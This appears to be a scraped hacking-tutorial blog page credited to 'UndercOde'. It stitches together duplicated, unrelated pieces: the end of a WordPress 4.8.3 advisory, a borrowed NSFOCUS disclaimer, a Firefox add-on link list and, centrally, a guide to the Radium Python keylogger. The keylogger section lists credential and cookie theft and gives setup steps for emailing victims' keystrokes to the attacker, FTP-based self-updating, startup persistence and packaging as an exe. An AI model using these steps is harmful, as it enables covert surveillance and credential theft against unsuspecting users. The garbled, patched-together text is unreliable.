Unaffected version WordPress 4.8.3
3) solution
> WordPress has officially released the latest version 4.8.3 to fix this vulnerability. Users using 4.8.2 and previous versions should upgrade to 4.8.3 in time to protect against this vulnerability.
> Reference link:
https://wordpress.org/download/
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ NSFOCUS Technology Statement :
twitter.com/UndercOdeTC
1) This security bulletin is only used to describe possible security issues.
2) NSFOCUS does not provide any guarantee or commitment for this security bulletin. Any direct or indirect consequences and losses caused by the dissemination and use of the information provided in this security bulletin are the responsibility of the user himself.
3) NSFOCUS and the author of the security bulletin shall not bear any responsibility for this. NSFOCUS has the right to modify and interpret this security announcement.
4) If you want to reprint or disseminate this security bulletin, you must ensure the integrity of this security bulletin, including the entire contents of the copyright statement. Without the permission of NSFOCUS Technology, the content of this security bulletin may not be modified or added arbitrarily, and it may not be used for commercial purposes in any way.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ NSFOCUS Technology Statement :
twitter.com/UndercOdeTC
1) This security bulletin is only used to describe possible security issues.
2) NSFOCUS does not provide any guarantee or commitment for this security bulletin. Any direct or indirect consequences and losses caused by the dissemination and use of the information provided in this security bulletin are the responsibility of the user himself.
3) NSFOCUS and the author of the security bulletin shall not bear any responsibility for this. NSFOCUS has the right to modify and interpret this security announcement.
4) If you want to reprint or disseminate this security bulletin, you must ensure the integrity of this security bulletin, including the entire contents of the copyright statement. Without the permission of NSFOCUS Technology, the content of this security bulletin may not be modified or added arbitrarily, and it may not be used for commercial purposes in any way.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Versatile Python Keylogger: Radium :
The so-called keyboard recording usually refers to recording the key operations performed by the user on the keyboard, that is, recording which keys the user has pressed. This keyboard recording activity is usually performed quietly in the background, so users who use the keyboard usually do not realize that their typing operations have been illegally monitored. In addition, the attacker can also use keyboard records to understand the habits of the target user using the computer.
pinterest.com/UndercOdeOfficial
ππΌππ πππΈβπ :
1) Radium, a keylogger with multiple functions. This tool is written in Python and has many functions as shown below:
-Application and keylogger
-Screenshot record
-Send keyboard records via email
-Recover password for Chrome, Mozilla, Filezilla, Core FTP, CyberDuck, FTPNavigator, WinSCP, Outlook, Putty, Skype and more
-Cookie stealing
-Automatic update function
-Collect system information, including internal / external IP addresses, Ipconfig and / all output, and platform version.
π¦Dependent component
1) PyHook
2) PyWin32
3) MicrosoftVisual C ++ Compiler for Python
4) PyInstaller
π¦ Tool use:
-Download dependent libraries
-Set Gmail email username and password to minimize Gmail security settings to allow all connections;
-Set up FTP server, including IP, username and password, and the directory where new version of Radium needs to be stored;
-Remember to use base64 encoding for passwords;
-Set the originalfilename variable in copytostartup (), which is the name of the exe file;
-Use Pyinstaller to make exe files;
-After recording 300 (modifiable) user keystrokes, a keyboard record is automatically sent to the attacker via email;
-After recording 500 (modifiable) user keystrokes, screenshots will be taken automatically;
-Remember, when you convert Radium to exe format, you need to modify the originalfilename and coppiedfilename variables in the copytostartup () function.
ENJOY WITH UndercOde Tutorials
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Versatile Python Keylogger: Radium :
The so-called keyboard recording usually refers to recording the key operations performed by the user on the keyboard, that is, recording which keys the user has pressed. This keyboard recording activity is usually performed quietly in the background, so users who use the keyboard usually do not realize that their typing operations have been illegally monitored. In addition, the attacker can also use keyboard records to understand the habits of the target user using the computer.
pinterest.com/UndercOdeOfficial
ππΌππ πππΈβπ :
1) Radium, a keylogger with multiple functions. This tool is written in Python and has many functions as shown below:
-Application and keylogger
-Screenshot record
-Send keyboard records via email
-Recover password for Chrome, Mozilla, Filezilla, Core FTP, CyberDuck, FTPNavigator, WinSCP, Outlook, Putty, Skype and more
-Cookie stealing
-Automatic update function
-Collect system information, including internal / external IP addresses, Ipconfig and / all output, and platform version.
π¦Dependent component
1) PyHook
2) PyWin32
3) MicrosoftVisual C ++ Compiler for Python
4) PyInstaller
π¦ Tool use:
-Download dependent libraries
-Set Gmail email username and password to minimize Gmail security settings to allow all connections;
-Set up FTP server, including IP, username and password, and the directory where new version of Radium needs to be stored;
-Remember to use base64 encoding for passwords;
-Set the originalfilename variable in copytostartup (), which is the name of the exe file;
-Use Pyinstaller to make exe files;
-After recording 300 (modifiable) user keystrokes, a keyboard record is automatically sent to the attacker via email;
-After recording 500 (modifiable) user keystrokes, screenshots will be taken automatically;
-Remember, when you convert Radium to exe format, you need to modify the originalfilename and coppiedfilename variables in the copytostartup () function.
ENJOY WITH UndercOde Tutorials
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Internet- Top Firefox Addon choosed by UndercOde :
instagram.com/UnderCodeTestingCompany
#adblock_plus
https://addons.mozilla.org/firefox/downloads/file/808841/adblock_plus-3.0.2-an+fx.xpi?src=dp-btn-primary
#gnome_shell_integration
https://addons.mozilla.org/firefox/downloads/file/854306/gnome_shell_integration-10-an+fx-linux.xpi?src=dp-btn-primary
#IP Address and Domain Information
https://addons.mozilla.org/firefox/downloads/file/689443/ip_address_and_domain_information-4.0.0-fx.xpi?src=dp-btn-primary
#New Hackbar
https://addons.mozilla.org/firefox/downloads/file/831304/new_hackbar-1.0.4-an+fx.xpi?src=dp-btn-primary
#HackBar (F12)
https://addons.mozilla.org/firefox/downloads/file/851494/hackbar-1.1.7-an+fx.xpi?src=dp-btn-primary
#Proxy SwitchyOmega
https://addons.mozilla.org/firefox/downloads/file/848109/proxy_switchyomega-2.5.10-an+fx.xpi?src=dp-btn-primary
#Show External IP
https://addons.mozilla.org/firefox/downloads/file/776591/show_external_ip-1.0.6-an+fx.xpi?src=dp-btn-primary
#Show Server IP
https://addons.mozilla.org/firefox/downloads/file/739407/show_server_ip-2.3-an+fx-linux.xpi?src=dp-btn-primary
#Tampermonkey
https://addons.mozilla.org/firefox/downloads/file/813574/tampermonkey-4.5.5660-an+fx.xpi?src=dp-btn-primary
#Site Stacks extension
https://addons.mozilla.org/firefox/downloads/file/745343/sitestacks_for_firefox_instant_tech_lookup-1.0.1-fx-linux.xpi?src=dp-btn-primary
#Wappalyze(baned-or adress changed)
https://addons.mozilla.org/firefox/downloads/file/852547/wappalyzer-5.4.6-an+fx.xpi?src=dp-btn-primary
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Internet- Top Firefox Addon choosed by UndercOde :
instagram.com/UnderCodeTestingCompany
#adblock_plus
https://addons.mozilla.org/firefox/downloads/file/808841/adblock_plus-3.0.2-an+fx.xpi?src=dp-btn-primary
#gnome_shell_integration
https://addons.mozilla.org/firefox/downloads/file/854306/gnome_shell_integration-10-an+fx-linux.xpi?src=dp-btn-primary
#IP Address and Domain Information
https://addons.mozilla.org/firefox/downloads/file/689443/ip_address_and_domain_information-4.0.0-fx.xpi?src=dp-btn-primary
#New Hackbar
https://addons.mozilla.org/firefox/downloads/file/831304/new_hackbar-1.0.4-an+fx.xpi?src=dp-btn-primary
#HackBar (F12)
https://addons.mozilla.org/firefox/downloads/file/851494/hackbar-1.1.7-an+fx.xpi?src=dp-btn-primary
#Proxy SwitchyOmega
https://addons.mozilla.org/firefox/downloads/file/848109/proxy_switchyomega-2.5.10-an+fx.xpi?src=dp-btn-primary
#Show External IP
https://addons.mozilla.org/firefox/downloads/file/776591/show_external_ip-1.0.6-an+fx.xpi?src=dp-btn-primary
#Show Server IP
https://addons.mozilla.org/firefox/downloads/file/739407/show_server_ip-2.3-an+fx-linux.xpi?src=dp-btn-primary
#Tampermonkey
https://addons.mozilla.org/firefox/downloads/file/813574/tampermonkey-4.5.5660-an+fx.xpi?src=dp-btn-primary
#Site Stacks extension
https://addons.mozilla.org/firefox/downloads/file/745343/sitestacks_for_firefox_instant_tech_lookup-1.0.1-fx-linux.xpi?src=dp-btn-primary
#Wappalyze(baned-or adress changed)
https://addons.mozilla.org/firefox/downloads/file/852547/wappalyzer-5.4.6-an+fx.xpi?src=dp-btn-primary
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β